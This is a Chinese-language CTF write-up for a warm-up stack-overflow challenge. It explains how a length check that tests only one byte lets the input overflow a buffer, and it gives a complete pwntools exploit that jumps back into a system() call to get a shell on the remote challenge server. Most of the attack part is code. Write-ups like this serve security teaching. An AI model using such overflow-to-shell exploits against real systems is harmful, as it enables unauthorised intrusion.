pwn
[签到]stack
题目逻辑是这样的,其实就是找一个比 0x58 大很多,低一个字节小于 0x40的数,就能溢出了
char *run()
{
char buf[76]; // [rsp+0h] [rbp-50h] BYREF
size_t nbytes; // [rsp+4Ch] [rbp-4h]
printf("Give me the length: ");
LODWORD(nbytes) = get_int();
if ( (unsigned __int8)nbytes > 0x40u )
{
puts("Too long!");
exit(1);
}
printf("Give me your command: ");
read(0, buf, (unsigned int)nbytes);
return strdup(buf);
}
有一个 backdoor 函数,然后我看了一下没有 rdi的gadget
int __fastcall backdoor(const char *a1)
{
if ( strncmp(a1, "give me flag", 0xCuLL) )
return puts("Nope!");
puts("You got!");
return system(a1);
}
但是在call system前,因为strdup了一次 rax寄存器是一个堆上的地址,内容和read进去的数据一模一样的,所以可以构造一个 /bin/sh\x00 …… 这样一个payload,在 mov rdi,rax的时候就会取到binsh的地址,最后syscall
.text:00000000004011F0 48 8B 45 F8 mov rax, [rbp+s1]
.text:00000000004011F4 48 89 C7 mov rdi, rax ; command
.text:00000000004011F7 E8 64 FE FF FF call _system
.text:00000000004011F7
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "yuanshen.life"
PORT = 33074
elf = context.binary = ELF('./pwn')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# 313
backdoor = 0x4011F4
payload = b'/bin/sh\x00' +b'a' * (0x50)
payload += p64(backdoor)
sla("Give me the length: ","313")
# g(p)
sa("Give me your command: ",payload)
p.interactive()